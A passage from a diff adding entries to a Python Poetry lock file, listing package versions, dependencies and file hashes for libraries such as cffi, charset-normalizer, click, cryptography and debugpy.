"cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"}, + {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"}, + {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"}, + {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"}, + {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"}, + {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"}, + {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"}, + {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"}, + {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"}, + {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"}, + {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"}, + {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"}, +] + +[package.dependencies] +pycparser = "*" + +[[package]] +name = "chardet" +version = "5.1.0" +description = "Universal encoding detector for Python 3" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "chardet-5.1.0-py3-none-any.whl", hash = "sha256:362777fb014af596ad31334fde1e8c327dfdb076e1960d1694662d46a6917ab9"}, + {file = "chardet-5.1.0.tar.gz", hash = "sha256:0d62712b956bc154f85fb0a266e2a3c5913c2967e00348701b32411d6def31e5"}, +] + +[[package]] +name = "charset-normalizer" +version = "3.1.0" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +category = "main" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "charset-normalizer-3.1.0.tar.gz", hash = "sha256:34e0a2f9c370eb95597aae63bf85eb5e96826d81e3dcf88b8886012906f509b5"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e0ac8959c929593fee38da1c2b64ee9778733cdf03c482c9ff1d508b6b593b2b"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d7fc3fca01da18fbabe4625d64bb612b533533ed10045a2ac3dd194bfa656b60"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:04eefcee095f58eaabe6dc3cc2262f3bcd776d2c67005880894f447b3f2cb9c1"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:20064ead0717cf9a73a6d1e779b23d149b53daf971169289ed2ed43a71e8d3b0"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1435ae15108b1cb6fffbcea2af3d468683b7afed0169ad718451f8db5d1aff6f"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c84132a54c750fda57729d1e2599bb598f5fa0344085dbde5003ba429a4798c0"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75f2568b4189dda1c567339b48cba4ac7384accb9c2a7ed655cd86b04055c795"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:11d3bcb7be35e7b1bba2c23beedac81ee893ac9871d0ba79effc7fc01167db6c"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:891cf9b48776b5c61c700b55a598621fdb7b1e301a550365571e9624f270c203"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:5f008525e02908b20e04707a4f704cd286d94718f48bb33edddc7d7b584dddc1"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:b06f0d3bf045158d2fb8837c5785fe9ff9b8c93358be64461a1089f5da983137"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:49919f8400b5e49e961f320c735388ee686a62327e773fa5b3ce6721f7e785ce"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22908891a380d50738e1f978667536f6c6b526a2064156203d418f4856d6e86a"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-win32.whl", hash = "sha256:12d1a39aa6b8c6f6248bb54550efcc1c38ce0d8096a146638fd4738e42284448"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:65ed923f84a6844de5fd29726b888e58c62820e0769b76565480e1fdc3d062f8"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9a3267620866c9d17b959a84dd0bd2d45719b817245e49371ead79ed4f710d19"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6734e606355834f13445b6adc38b53c0fd45f1a56a9ba06c2058f86893ae8017"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f8303414c7b03f794347ad062c0516cee0e15f7a612abd0ce1e25caf6ceb47df"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aaf53a6cebad0eae578f062c7d462155eada9c172bd8c4d250b8c1d8eb7f916a"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3dc5b6a8ecfdc5748a7e429782598e4f17ef378e3e272eeb1340ea57c9109f41"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e1b25e3ad6c909f398df8921780d6a3d120d8c09466720226fc621605b6f92b1"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ca564606d2caafb0abe6d1b5311c2649e8071eb241b2d64e75a0d0065107e62"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b82fab78e0b1329e183a65260581de4375f619167478dddab510c6c6fb04d9b6"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bd7163182133c0c7701b25e604cf1611c0d87712e56e88e7ee5d72deab3e76b5"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:11d117e6c63e8f495412d37e7dc2e2fff09c34b2d09dbe2bee3c6229577818be"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:cf6511efa4801b9b38dc5546d7547d5b5c6ef4b081c60b23e4d941d0eba9cbeb"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:abc1185d79f47c0a7aaf7e2412a0eb2c03b724581139193d2d82b3ad8cbb00ac"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cb7b2ab0188829593b9de646545175547a70d9a6e2b63bf2cd87a0a391599324"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-win32.whl", hash = "sha256:c36bcbc0d5174a80d6cccf43a0ecaca44e81d25be4b7f90f0ed7bcfbb5a00909"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:cca4def576f47a09a943666b8f829606bcb17e2bc2d5911a46c8f8da45f56755"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0c95f12b74681e9ae127728f7e5409cbbef9cd914d5896ef238cc779b8152373"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fca62a8301b605b954ad2e9c3666f9d97f63872aa4efcae5492baca2056b74ab"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac0aa6cd53ab9a31d397f8303f92c42f534693528fafbdb997c82bae6e477ad9"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c3af8e0f07399d3176b179f2e2634c3ce9c1301379a6b8c9c9aeecd481da494f"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a5fc78f9e3f501a1614a98f7c54d3969f3ad9bba8ba3d9b438c3bc5d047dd28"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:628c985afb2c7d27a4800bfb609e03985aaecb42f955049957814e0491d4006d"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:74db0052d985cf37fa111828d0dd230776ac99c740e1a758ad99094be4f1803d"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:1e8fcdd8f672a1c4fc8d0bd3a2b576b152d2a349782d1eb0f6b8e52e9954731d"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:04afa6387e2b282cf78ff3dbce20f0cc071c12dc8f685bd40960cc68644cfea6"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dd5653e67b149503c68c4018bf07e42eeed6b4e956b24c00ccdf93ac79cdff84"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d2686f91611f9e17f4548dbf050e75b079bbc2a82be565832bc8ea9047b61c8c"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-win32.whl", hash = "sha256:4155b51ae05ed47199dc5b2a4e62abccb274cee6b01da5b895099b61b1982974"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-win_amd64.whl", hash = "sha256:322102cdf1ab682ecc7d9b1c5eed4ec59657a65e1c146a0da342b78f4112db23"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e633940f28c1e913615fd624fcdd72fdba807bf53ea6925d6a588e84e1151531"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3a06f32c9634a8705f4ca9946d667609f52cf130d5548881401f1eb2c39b1e2c"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7381c66e0561c5757ffe616af869b916c8b4e42b367ab29fedc98481d1e74e14"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3573d376454d956553c356df45bb824262c397c6e26ce43e8203c4c540ee0acb"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e89df2958e5159b811af9ff0f92614dabf4ff617c03a4c1c6ff53bf1c399e0e1"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:78cacd03e79d009d95635e7d6ff12c21eb89b894c354bd2b2ed0b4763373693b"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de5695a6f1d8340b12a5d6d4484290ee74d61e467c39ff03b39e30df62cf83a0"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1c60b9c202d00052183c9be85e5eaf18a4ada0a47d188a83c8f5c5b23252f649"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f645caaf0008bacf349875a974220f1f1da349c5dbe7c4ec93048cdc785a3326"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ea9f9c6034ea2d93d9147818f17c2a0860d41b71c38b9ce4d55f21b6f9165a11"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:80d1543d58bd3d6c271b66abf454d437a438dff01c3e62fdbcd68f2a11310d4b"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:73dc03a6a7e30b7edc5b01b601e53e7fc924b04e1835e8e407c12c037e81adbd"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6f5c2e7bc8a4bf7c426599765b1bd33217ec84023033672c1e9a8b35eaeaaaf8"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-win32.whl", hash = "sha256:12a2b561af122e3d94cdb97fe6fb2bb2b82cef0cdca131646fdb940a1eda04f0"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:3160a0fd9754aab7d47f95a6b63ab355388d890163eb03b2d2b87ab0a30cfa59"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:38e812a197bf8e71a59fe55b757a84c1f946d0ac114acafaafaf21667a7e169e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6baf0baf0d5d265fa7944feb9f7451cc316bfe30e8df1a61b1bb08577c554f31"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8f25e17ab3039b05f762b0a55ae0b3632b2e073d9c8fc88e89aca31a6198e88f"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3747443b6a904001473370d7810aa19c3a180ccd52a7157aacc264a5ac79265e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b116502087ce8a6b7a5f1814568ccbd0e9f6cfd99948aa59b0e241dc57cf739f"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d16fd5252f883eb074ca55cb622bc0bee49b979ae4e8639fff6ca3ff44f9f854"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21fa558996782fc226b529fdd2ed7866c2c6ec91cee82735c98a197fae39f706"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f6c7a8a57e9405cad7485f4c9d3172ae486cfef1344b5ddd8e5239582d7355e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ac3775e3311661d4adace3697a52ac0bab17edd166087d493b52d4f4f553f9f0"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:10c93628d7497c81686e8e5e557aafa78f230cd9e77dd0c40032ef90c18f2230"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:6f4f4668e1831850ebcc2fd0b1cd11721947b6dc7c00bf1c6bd3c929ae14f2c7"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:0be65ccf618c1e7ac9b849c315cc2e8a8751d9cfdaa43027d4f6624bd587ab7e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:53d0a3fa5f8af98a1e261de6a3943ca631c526635eb5817a87a59d9a57ebf48f"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-win32.whl", hash = "sha256:a04f86f41a8916fe45ac5024ec477f41f886b3c435da2d4e3d2709b22ab02af1"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:830d2948a5ec37c386d3170c483063798d7879037492540f10a475e3fd6f244b"}, + {file = "charset_normalizer-3.1.0-py3-none-any.whl", hash = "sha256:3d9098b479e78c85080c98e1e35ff40b4a31d8953102bb0fd7d1b6f8a2111a3d"}, +] + +[[package]] +name = "click" +version = "8.1.3" +description = "Composable command line interface toolkit" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "click-8.1.3-py3-none-any.whl", hash = "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"}, + {file = "click-8.1.3.tar.gz", hash = "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[[package]] +name = "cognitive-complexity" +version = "1.3.0" +description = "Library to calculate Python functions cognitive complexity via code" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "cognitive_complexity-1.3.0.tar.gz", hash = "sha256:a0cfbd47dee0b19f4056f892389f501694b205c3af69fb703cc744541e03dde5"}, +] + +[package.dependencies] +setuptools = "*" + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +category = "main" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] + +[[package]] +name = "cryptography" +version = "40.0.2" +description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "cryptography-40.0.2-cp36-abi3-macosx_10_12_universal2.whl", hash = "sha256:8f79b5ff5ad9d3218afb1e7e20ea74da5f76943ee5edb7f76e56ec5161ec782b"}, + {file = "cryptography-40.0.2-cp36-abi3-macosx_10_12_x86_64.whl", hash = "sha256:05dc219433b14046c476f6f09d7636b92a1c3e5808b9a6536adf4932b3b2c440"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4df2af28d7bedc84fe45bd49bc35d710aede676e2a4cb7fc6d103a2adc8afe4d"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0dcca15d3a19a66e63662dc8d30f8036b07be851a8680eda92d079868f106288"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:a04386fb7bc85fab9cd51b6308633a3c271e3d0d3eae917eebab2fac6219b6d2"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:adc0d980fd2760c9e5de537c28935cc32b9353baaf28e0814df417619c6c8c3b"}, + {file = "cryptography-40.0.2-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:d5a1bd0e9e2031465761dfa920c16b0065ad77321d8a8c1f5ee331021fda65e9"}, + {file = "cryptography-40.0.2-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:a95f4802d49faa6a674242e25bfeea6fc2acd915b5e5e29ac90a32b1139cae1c"}, + {file = "cryptography-40.0.2-cp36-abi3-win32.whl", hash = "sha256:aecbb1592b0188e030cb01f82d12556cf72e218280f621deed7d806afd2113f9"}, + {file = "cryptography-40.0.2-cp36-abi3-win_amd64.whl", hash = "sha256:b12794f01d4cacfbd3177b9042198f3af1c856eedd0a98f10f141385c809a14b"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:142bae539ef28a1c76794cca7f49729e7c54423f615cfd9b0b1fa90ebe53244b"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:956ba8701b4ffe91ba59665ed170a2ebbdc6fc0e40de5f6059195d9f2b33ca0e"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:4f01c9863da784558165f5d4d916093737a75203a5c5286fde60e503e4276c7a"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3daf9b114213f8ba460b829a02896789751626a2a4e7a43a28ee77c04b5e4958"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:48f388d0d153350f378c7f7b41497a54ff1513c816bcbbcafe5b829e59b9ce5b"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c0764e72b36a3dc065c155e5b22f93df465da9c39af65516fe04ed3c68c92636"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:cbaba590180cba88cb99a5f76f90808a624f18b169b90a4abb40c1fd8c19420e"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7a38250f433cd41df7fcb763caa3ee9362777fdb4dc642b9a349721d2bf47404"}, + {file = "cryptography-40.0.2.tar.gz", hash = "sha256:c33c0d32b8594fa647d2e01dbccc303478e16fdd7cf98652d5b3ed11aa5e5c99"}, +] + +[package.dependencies] +cffi = ">=1.12" + +[package.extras] +docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] +docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] +pep8test = ["black", "check-manifest", "mypy", "ruff"] +sdist = ["setuptools-rust (>=0.11.4)"] +ssh = ["bcrypt (>=3.1.5)"] +test = ["iso8601", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-shard (>=0.1.2)", "pytest-subtests", "pytest-xdist"] +test-randomorder = ["pytest-randomly"] +tox = ["tox"] + +[[package]] +name = "debugpy" +version = "1.6.7" +description = "An implementation of the Debug Adapter Protocol for Python" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "debugpy-1.6.7-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b3e7ac809b991006ad7f857f016fa92014445085711ef111fdc3f74f66144096"}, + {file = "debugpy-1.6.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3876611d114a18aafef6383695dfc3f1217c98a9168c1aaf1a02b01ec7d8d1e"}, + {file = "debugpy-1.6.7-cp310-cp310-win32.whl", hash = "sha256:33edb4afa85c098c24cc361d72ba7c21bb92f501104514d4ffec1fb36e09c01a"}, + {file = "debugpy-1.6.7-cp310-cp310-win_amd64.whl", hash = "sha256:ed6d5413474e209ba50b1a75b2d9eecf64d41e6e4501977991cdc755dc83ab0f"}, + {file = "debugpy-1.6.7-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:38ed626353e7c63f4b11efad659be04c23de2b0d15efff77b60e4740ea685d07"}, + {file = "debugpy-1.6.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279d64c408c60431c8ee832dfd9ace7c396984fd7341fa3116aee414e7dcd88d"}, + {file = "debugpy-1.6.7-cp37-cp37m-win32.whl", hash = "sha256:dbe04e7568aa69361a5b4c47b4493d5680bfa3a911d1e105fbea1b1f23f3eb45"}, + {file = "debugpy-1.6.7-cp37-cp37m-win_amd64.whl", hash = "sha256:f90a2d4ad9a035cee7331c06a4cf2245e38bd7c89554fe3b616d90ab8aab89cc"}, + {file = "debugpy-1.6.7-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:5224eabbbeddcf1943d4e2821876f3e5d7d383f27390b82da5d9558fd4eb30a9"}, + {file = 